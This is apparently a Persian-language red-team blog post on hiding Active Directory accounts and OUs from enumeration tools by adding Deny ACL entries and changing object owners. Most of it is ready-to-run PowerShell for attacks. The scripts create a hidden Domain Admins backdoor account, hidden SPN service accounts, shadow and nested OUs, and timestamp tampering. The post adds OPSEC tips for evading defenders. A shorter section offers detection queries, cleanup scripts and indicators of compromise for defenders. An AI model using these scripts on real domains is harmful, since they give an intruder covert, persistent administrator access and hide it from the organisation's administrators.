تکنیک Active Directory Stealth: ایجاد کاربر مخفی با دستکاری DACL
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۹
تکنیک Active Directory Stealth: ایجاد اشیاء مخفی با دستکاری DACL
مقدمه
این تکنیک از معماری Security Descriptor در Active Directory برای ایجاد اشیاء مخفی استفاده میکند که در برابر ابزارهای enumeration استاندارد نامرئی باقی میمانند اما همچنان عملکرد خود را حفظ میکنند. با دستکاری permissions در DACL، مهاجمان میتوانند backdoor account های persistent ایجاد کنند که از detection فرار میکنند.
مفاهیم پایه
اجزای Security Descriptor (SD)
هر object در Active Directory دارای یک Security Descriptor است که شامل موارد زیر میشود:
1. DACL (Discretionary Access Control List)
- هدف: Access Authorization (AA)
- سوال اصلی: "چه کسی میتواند چه کاری انجام دهد؟"
- کنترلها: Read, Write, Delete, Modify permissions
- مثال: "Domain Users میتوانند این object را بخوانند"
2. SACL (System Access Control List)
- هدف: Auditing (A)
- سوال اصلی: "چه اقداماتی باید log شوند؟"
- کنترلها: Success/Failure audit events
- مثال: "تمام تلاشهای ناموفق دسترسی به این object را log کن"
پیادهسازی تکنیک
مرحله 1: ایجاد Hidden User و OU
این script یک OU و user محدود شده ایجاد میکند که برای همه invisible است:
Import-Module ActiveDirectory
$OUName = "RestrictedOU"; $UserName = "RestrictedUser"
$DomainDN = (Get-ADDomain).DistinguishedName
$Everyone = [System.Security.Principal.NTAccount]"Everyone"
# ایجاد OU
New-ADOrganizationalUnit -Name $OUName -Path $DomainDN -ErrorAction SilentlyContinue
$OUPath = "OU=$OUName,$DomainDN"
# ایجاد User
New-ADUser -Name $UserName -Path $OUPath `
-AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) `
-Enabled $true -ErrorAction SilentlyContinue
$UserDN = (Get-ADUser $UserName).DistinguishedName
# تغییر Owner به خود User
$uAcl = Get-Acl "AD:\$UserDN"
$uAcl.SetOwner([System.Security.Principal.NTAccount]$UserName)
# اضافه کردن Deny Rule برای Everyone
$uRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "GenericAll", "Deny")
$uAcl.AddAccessRule($uRule)
Set-Acl "AD:\$UserDN" $uAcl
# محدود کردن ListChildren برای OU
$oAcl = Get-Acl "AD:\$OUPath"
$oRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ListChildren", "Deny")
$oAcl.AddAccessRule($oRule)
Set-Acl "AD:\$OUPath" $oAcl
Write-Host "Done successfully."
چگونگی عملکرد:
- Owner Change: تغییر مالکیت object به خود user باعث میشود حتی Domain Admins نتوانند به راحتی آن را ببینند
- Deny GenericAll: مسدود کردن تمام دسترسیها برای Everyone (شامل Domain Admins)
- Deny ListChildren: مخفی کردن محتویات OU از enumeration tools
نتیجه:
User و OU ایجاد شده در ابزارهای استاندارد مانند Active Directory Users and Computers، PowerView، یا BloodHound نمایش داده نمیشوند، اما همچنان قابل استفاده برای authentication هستند.
کاربردهای عملیاتی
1. Persistent Backdoor Account
# ایجاد backdoor admin با DACL manipulation
$BackdoorUser = "svc-backup"
New-ADUser -Name $BackdoorUser -Path $OUPath `
-AccountPassword (ConvertTo-SecureString "ComplexP@ss123!" -AsPlainText -Force) `
-Enabled $true
# اضافه کردن به Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members $BackdoorUser
# مخفی کردن با Deny ACL
$acl = Get-Acl "AD:\CN=$BackdoorUser,$OUPath"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "GenericAll", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\CN=$BackdoorUser,$OUPath" $acl
2. Hidden Service Account برای Lateral Movement
# ایجاد service account مخفی با SPN
$ServiceUser = "svc-sql-backup"
New-ADUser -Name $ServiceUser -Path $OUPath `
-ServicePrincipalNames "MSSQLSvc/db01.domain.local:1433" `
-AccountPassword (ConvertTo-SecureString "ServiceP@ss!" -AsPlainText -Force) `
-Enabled $true
# Kerberoasting resistant - مخفی از BloodHound
$acl = Get-Acl "AD:\CN=$ServiceUser,$OUPath"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ReadProperty", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\CN=$ServiceUser,$OUPath" $acl
3. Shadow OU برای Persistence
# ایجاد OU مخفی برای ذخیره backdoor objects
$ShadowOU = "CN=System,CN=Configuration"
New-ADOrganizationalUnit -Name "LegacyServices" -Path $ShadowOU
# مخفی کردن از enumeration
$acl = Get-Acl "AD:\OU=LegacyServices,$ShadowOU"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ListChildren", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\OU=LegacyServices,$ShadowOU" $acl
Detection Evasion
چرا این تکنیک موثر است؟
- Enumeration Tools Bypass: ابزارهایی مانند PowerView، BloodHound، و ADExplorer نمیتوانند objects را ببینند
- LDAP Query Evasion: حتی LDAP queries مستقیم نیز به دلیل Deny ACL شکست میخورند
- Legitimate Mechanism: استفاده از قابلیتهای native AD - هیچ malware یا exploit نیست
- Audit Log Minimal: تغییرات ACL معمولاً به طور پیشفرض audit نمیشوند
مثال: تست Invisibility
# تلاش برای یافتن hidden user با PowerView
Get-DomainUser -Identity "RestrictedUser"
# نتیجه: هیچ چیز پیدا نمیشود
# تلاش با LDAP query
Get-ADUser -Filter {Name -eq "RestrictedUser"}
# نتیجه: Access Denied
# اما authentication همچنان کار میکند
$cred = Get-Credential -UserName "DOMAIN\RestrictedUser"
# موفق!
Incident Response و Remediation
شناسایی Hidden Objects
برای یافتن objects با Deny ACL های مشکوک:
# جستجوی objects با Deny rules غیرمعمول
$DomainDN = (Get-ADDomain).DistinguishedName
Get-ADObject -Filter * -SearchBase $DomainDN -Properties nTSecurityDescriptor | ForEach-Object {
$acl = $_.nTSecurityDescriptor.Access
$denyRules = $acl | Where-Object {$_.AccessControlType -eq "Deny" -and $_.IdentityReference -eq "Everyone"}
if ($denyRules) {
[PSCustomObject]@{
Object = $_.DistinguishedName
DenyRules = $denyRules.Count
}
}
}
حذف Hidden User
برای حذف user مخفی، باید از Distinguished Name دقیق استفاده کنید:
# باید از DN صریح استفاده شود
$UserDN = "CN=RestrictedUser,OU=RestrictedOU,DC=certipied,DC=local"
# گرفتن Ownership به عنوان Domain Admin
$acl = Get-Acl "AD:\$UserDN"
$acl.SetOwner([System.Security.Principal.NTAccount]"CERTIPIED\Administrator")
Set-Acl "AD:\$UserDN" $acl
# حذف Deny rules
$acl = Get-Acl "AD:\$UserDN"
$acl.Access | Where-Object {$_.AccessControlType -eq "Deny"} | ForEach-Object {
$acl.RemoveAccessRule($_)
}
Set-Acl "AD:\$UserDN" $acl
# حذف user
Remove-ADUser -Identity $UserDN -Confirm:$false
حذف Hidden OU
$OUDN = "OU=RestrictedOU,DC=certipied,DC=local"
# اصلاح permissions OU
$acl = Get-Acl "AD:\$OUDN"
$acl.Access | Where-Object {$_.AccessControlType -eq "Deny"} | ForEach-Object {
$acl.RemoveAccessRule($_)
}
Set-Acl "AD:\$OUDN" $acl
# حذف OU (باید خالی باشد)
Remove-ADOrganizationalUnit -Identity $OUDN -Confirm:$false
Script جامع Cleanup:
# پاکسازی کامل تمام hidden objects
function Remove-HiddenADObjects {
param([string]$SearchBase)
# یافتن تمام objects با Deny ACL
$hiddenObjects = Get-ADObject -Filter * -SearchBase $SearchBase -Properties nTSecurityDescriptor |
Where-Object {
$_.nTSecurityDescriptor.Access |
Where-Object {$_.AccessControlType -eq "Deny" -and $_.IdentityReference -eq "Everyone"}
}
foreach ($obj in $hiddenObjects) {
Write-Host "Processing: $($obj.DistinguishedName)"
# گرفتن ownership
$acl = Get-Acl "AD:\$($obj.DistinguishedName)"
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERDOMAIN\Administrator")
Set-Acl "AD:\$($obj.DistinguishedName)" $acl
# حذف Deny rules
$acl = Get-Acl "AD:\$($obj.DistinguishedName)"
$acl.Access | Where-Object {$_.AccessControlType -eq "Deny"} | ForEach-Object {
$acl.RemoveAccessRule($_) | Out-Null
}
Set-Acl "AD:\$($obj.DistinguishedName)" $acl
# حذف object
Remove-ADObject -Identity $obj.DistinguishedName -Confirm:$false -Recursive
}
}
# اجرا
Remove-HiddenADObjects -SearchBase (Get-ADDomain).DistinguishedName
Detection برای Blue Team
Monitoring Strategies:
1. ACL Change Auditing
# فعالسازی auditing برای ACL changes
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
# بررسی Event ID 5136 (Directory Service Changes)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5136} |
Where-Object {$_.Message -like "*nTSecurityDescriptor*"}
2. Baseline ACL Monitoring
# ایجاد baseline از ACL های normal
$baseline = @{}
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
$baseline[$_.DistinguishedName] = $_.nTSecurityDescriptor.Sddl
}
# مقایسه با baseline
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
$current = $_.nTSecurityDescriptor.Sddl
if ($baseline[$_.DistinguishedName] -ne $current) {
Write-Warning "ACL changed: $($_.DistinguishedName)"
}
}
3. Deny ACL Detection
# جستجوی روزانه برای Deny ACL های مشکوک
$suspiciousACLs = Get-ADObject -Filter * -Properties nTSecurityDescriptor |
Where-Object {
$_.nTSecurityDescriptor.Access |
Where-Object {
$_.AccessControlType -eq "Deny" -and
($_.IdentityReference -eq "Everyone" -or $_.IdentityReference -eq "Domain Users")
}
}
if ($suspiciousACLs) {
Send-MailMessage -To "soc@company.com" -Subject "Suspicious Deny ACLs Detected" `
-Body ($suspiciousACLs | Out-String)
}
Indicators of Compromise:
- Objects با Deny ACL برای Everyone یا Domain Users
- تغییرات Owner به non-admin accounts
- OU های جدید در مسیرهای غیرمعمول (مانند CN=System)
- Users با SPN اما invisible در enumeration
- Authentication موفق از accounts که در LDAP queries یافت نمیشوند
تکنیکهای پیشرفته
1. Selective Visibility
به جای مخفی کردن کامل، فقط برای گروههای خاص visible باشید:
# مخفی از همه به جز یک گروه خاص
$SpecialGroup = [System.Security.Principal.NTAccount]"DOMAIN\RedTeamOps"
$Everyone = [System.Security.Principal.NTAccount]"Everyone"
$acl = Get-Acl "AD:\$UserDN"
# Deny برای Everyone
$denyRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "GenericAll", "Deny")
$acl.AddAccessRule($denyRule)
# Allow برای گروه خاص (با priority بالاتر)
$allowRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($SpecialGroup, "GenericAll", "Allow")
$acl.AddAccessRule($allowRule)
Set-Acl "AD:\$UserDN" $acl
2. Timestomping ACL Changes
# تغییر timestamps برای مخفی کردن زمان modification
$obj = Get-ADObject -Identity $UserDN -Properties whenChanged, whenCreated
$obj.whenChanged = (Get-Date).AddDays(-365)
Set-ADObject -Instance $obj
3. Nested Hidden OUs
# ایجاد ساختار چند لایه برای stealth بیشتر
$Layer1 = "OU=System Objects,$DomainDN"
$Layer2 = "OU=Legacy,$Layer1"
$Layer3 = "OU=Archived,$Layer2"
# هر لایه را مخفی کنید
foreach ($ou in @($Layer1, $Layer2, $Layer3)) {
$acl = Get-Acl "AD:\$ou"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Everyone, "ListChildren", "Deny")
$acl.AddAccessRule($rule)
Set-Acl "AD:\$ou" $acl
}
OPSEC Considerations
نکات مهم:
- Timing: تغییرات ACL را در ساعات کاری انجام دهید تا کمتر مشکوک باشد
- Naming: از نامهای legitimate مانند "svc-backup" یا "admin-temp" استفاده کنید
- Location: objects را در OU های پرازدحام قرار دهید، نه OU های خالی
- Gradual Changes: تغییرات را به صورت تدریجی اعمال کنید، نه یکباره
- Backup Access: همیشه یک روش alternative برای دسترسی داشته باشید
محدودیتها:
- Domain Admins با دسترسی مستقیم به database میتوانند objects را ببینند
- Replication logs ممکن است تغییرات را نشان دهند
- Backup و restore operations میتوانند objects را آشکار کنند
- Advanced threat hunting tools ممکن است anomaly را تشخیص دهند
نتیجهگیری
تکنیک Active Directory Stealth با استفاده از DACL manipulation یکی از قدرتمندترین روشهای persistence و evasion در محیطهای Windows است. این تکنیک از قابلیتهای native AD استفاده میکند و هیچ malware یا exploit خاصی نیاز ندارد، که آن را به یک Living Off The Land (LOTL) technique تبدیل میکند.
برای تیمهای Red Team، درک عمیق از Security Descriptors و ACL manipulation امکان ایجاد backdoor های بسیار stealth را فراهم میکند. برای تیمهای Blue Team، monitoring مداوم ACL changes و پیادهسازی baseline auditing برای شناسایی این تکنیکها ضروری است.